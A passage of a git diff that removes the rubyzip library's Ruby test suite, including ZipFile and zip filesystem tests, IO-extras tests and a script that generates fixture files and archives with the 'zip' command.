cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/longBinary.bin b/lib/zip/test/data/generated/longBinary.bin deleted file mode 100644 index df673254c4..0000000000 Binary files a/lib/zip/test/data/generated/longBinary.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomAscii1.txt b/lib/zip/test/data/generated/randomAscii1.txt deleted file mode 100644 index b2b472a203..0000000000 --- a/lib/zip/test/data/generated/randomAscii1.txt +++ /dev/null @@ -1 +0,0 @@ -0.040244959211864 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii2.txt b/lib/zip/test/data/generated/randomAscii2.txt deleted file mode 100644 index 64dc85e2c4..0000000000 --- a/lib/zip/test/data/generated/randomAscii2.txt +++ /dev/null @@ -1 +0,0 @@ -0.917381580665493 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii3.txt b/lib/zip/test/data/generated/randomAscii3.txt deleted file mode 100644 index c7f3a83bff..0000000000 --- a/lib/zip/test/data/generated/randomAscii3.txt +++ /dev/null @@ -1 +0,0 @@ -0.670572209005379 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomBinary1.bin b/lib/zip/test/data/generated/randomBinary1.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary1.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomBinary2.bin b/lib/zip/test/data/generated/randomBinary2.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary2.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/short.txt b/lib/zip/test/data/generated/short.txt deleted file mode 100644 index 1c5f8ba2db..0000000000 --- a/lib/zip/test/data/generated/short.txt +++ /dev/null @@ -1 +0,0 @@ -ABCDEF \ No newline at end of file diff --git a/lib/zip/test/data/generated/test1.zip b/lib/zip/test/data/generated/test1.zip deleted file mode 100644 index 2ce05cedf4..0000000000 Binary files a/lib/zip/test/data/generated/test1.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/zipWithDir.zip b/lib/zip/test/data/generated/zipWithDir.zip deleted file mode 100644 index 476120bff1..0000000000 Binary files a/lib/zip/test/data/generated/zipWithDir.zip and /dev/null differ diff --git a/lib/zip/test/data/notzippedruby.rb b/lib/zip/test/data/notzippedruby.rb deleted file mode 100755 index 036d25e92c..0000000000 --- a/lib/zip/test/data/notzippedruby.rb +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -class NotZippedRuby - def returnTrue - true - end -end diff --git a/lib/zip/test/data/rubycode.zip b/lib/zip/test/data/rubycode.zip deleted file mode 100644 index 8a68560e63..0000000000 Binary files a/lib/zip/test/data/rubycode.zip and /dev/null differ diff --git a/lib/zip/test/data/rubycode2.zip b/lib/zip/test/data/rubycode2.zip deleted file mode 100644 index 8e1cd08f2d..0000000000 Binary files a/lib/zip/test/data/rubycode2.zip and /dev/null differ diff --git a/lib/zip/test/data/testDirectory.bin b/lib/zip/test/data/testDirectory.bin deleted file mode 100644 index cbdb9f7d74..0000000000 Binary files a/lib/zip/test/data/testDirectory.bin and /dev/null differ diff --git a/lib/zip/test/data/zipWithDirs.zip b/lib/zip/test/data/zipWithDirs.zip deleted file mode 100644 index 4b01f011ae..0000000000 Binary files a/lib/zip/test/data/zipWithDirs.zip and /dev/null differ diff --git a/lib/zip/test/gentestfiles.rb b/lib/zip/test/gentestfiles.rb deleted file mode 100755 index 45116ec5b5..0000000000 --- a/lib/zip/test/gentestfiles.rb +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -class TestFiles - RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt" - RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt" - RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt" - RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin" - RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin" - - EMPTY_TEST_DIR = "data/generated/emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.create_test_files(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - Dir.mkdir "data/generated" rescue Errno::EEXIST - - ASCII_TEST_FILES.each_with_index { - |filename, index| - create_random_ascii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - create_random_binary(filename, 1E4 * (index+1)) - } - - ensure_dir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.create_random_ascii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.create_random_binary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << [rand].pack("V") - end - } - end - - def TestFiles.ensure_dir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - - - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zip_name, :entry_names, :comment - - def initialize(zip_name, entry_names, comment = "") - @zip_name=zip_name - @entry_names=entry_names - if "".respond_to? :force_encoding - @entry_names.each {|name| name.force_encoding("ASCII-8BIT")} - end - @comment = comment - end - - def TestZipFile.create_test_zips(recreate) - files = Dir.entries("data/generated") - if (recreate || - ! (files.index(File.basename(TEST_ZIP1.zip_name)) && - files.index(File.basename(TEST_ZIP2.zip_name)) && - files.index(File.basename(TEST_ZIP3.zip_name)) && - files.index(File.basename(TEST_ZIP4.zip_name)) && - files.index("empty.txt") && - files.index("empty_chmod640.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} data/file2.txt") - raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt") - - File.open("data/generated/empty.txt", "w") {} - File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) } - - File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("data/file2.txt") { |file| ziptestTxt=file.read } - File.open("data/generated/longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("data/generated/longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand << "\0" - end - } - raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless - system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless - system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless - system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", []) - TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt }) - TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -END { - TestFiles::create_test_files(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - TestZipFile::create_test_zips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - exit if ARGV.index("recreateonly") != nil -} diff --git a/lib/zip/test/ioextrastest.rb b/lib/zip/test/ioextrastest.rb deleted file mode 100755 index b18e9db987..0000000000 --- a/lib/zip/test/ioextrastest.rb +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ioextras' - -include IOExtras - -class FakeIOTest < Test::Unit::TestCase - class FakeIOUsingClass - include FakeIO - end - - def test_kind_of? - obj = FakeIOUsingClass.new - - assert(obj.kind_of?(Object)) - assert(obj.kind_of?(FakeIOUsingClass)) - assert(obj.kind_of?(IO)) - assert(!obj.kind_of?(Fixnum)) - assert(!obj.kind_of?(String)) - end -end - -class AbstractInputStreamTest < Test::Unit::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - super() - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produce_input - read(100) - end - - def input_finished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equal(TEST_LINES[0], @io.gets) - assert_equal(1, @io.lineno) - assert_equal(TEST_LINES[1], @io.gets) - assert_equal(2, @io.lineno) - assert_equal(TEST_LINES[2], @io.gets) - assert_equal(3, @io.lineno) - assert_equal(nil, @io.gets) - assert_equal(4, @io.lineno) - end - - def test_getsMultiCharSeperator - assert_equal("Hell", @io.gets("ll")) - assert_equal("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equal(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equal(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class AbstractOutputStreamTest < Test::Unit::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equal("a little string", @outputStream.buffer) - assert_equal("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equal("a little string. a little more", @outputStream.buffer) - assert_equal(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equal("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equal("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equal("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equal("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equal("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equal("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equal("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equal("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equal("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equal("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equal("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equal("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equal("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/stdrubyexttest.rb b/lib/zip/test/stdrubyexttest.rb deleted file mode 100755 index f11608f7f3..0000000000 --- a/lib/zip/test/stdrubyexttest.rb +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/stdrubyext' - -class ModuleTest < Test::Unit::TestCase - - def test_select_map - assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) - end - -end - -class StringExtensionsTest < Test::Unit::TestCase - - def test_starts_with - assert("hello".starts_with("")) - assert("hello".starts_with("h")) - assert("hello".starts_with("he")) - assert(! "hello".starts_with("hello there")) - assert(! "hello".starts_with(" he")) - - assert_raise(TypeError, "type mismatch: NilClass given") { - "hello".starts_with(nil) - } - end - - def test_ends_with - assert("hello".ends_with("o")) - assert("hello".ends_with("lo")) - assert("hello".ends_with("hello")) - assert(!"howdy".ends_with("o")) - assert(!"howdy".ends_with("oy")) - assert(!"howdy".ends_with("howdy doody")) - assert(!"howdy".ends_with("doody howdy")) - end - - def test_ensure_end - assert_equal("hello!", "hello!".ensure_end("!")) - assert_equal("hello!", "hello!".ensure_end("o!")) - assert_equal("hello!", "hello".ensure_end("!")) - assert_equal("hello!", "hel".ensure_end("lo!")) - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/zipfilesystemtest.rb b/lib/zip/test/zipfilesystemtest.rb deleted file mode 100755 index f74e804696..0000000000 --- a/lib/zip/test/zipfilesystemtest.rb +++ /dev/null @@ -1,845 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zipfilesystem' -require 'test/unit' -require 'fileutils' - -module ExtraAssertions - - def assert_forwarded(anObject, method, retVal, *expectedArgs) - callArgs = nil - setCallArgsProc = proc { |args| callArgs = args } - anObject.instance_eval <<-"end_eval" - alias #{method}_org #{method} - def #{method}(*args) - ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args) - ObjectSpace._id2ref(#{retVal.object_id}) - end - end_eval - - assert_equal(retVal, yield) # Invoke test - assert_equal(expectedArgs, callArgs) - ensure - anObject.instance_eval 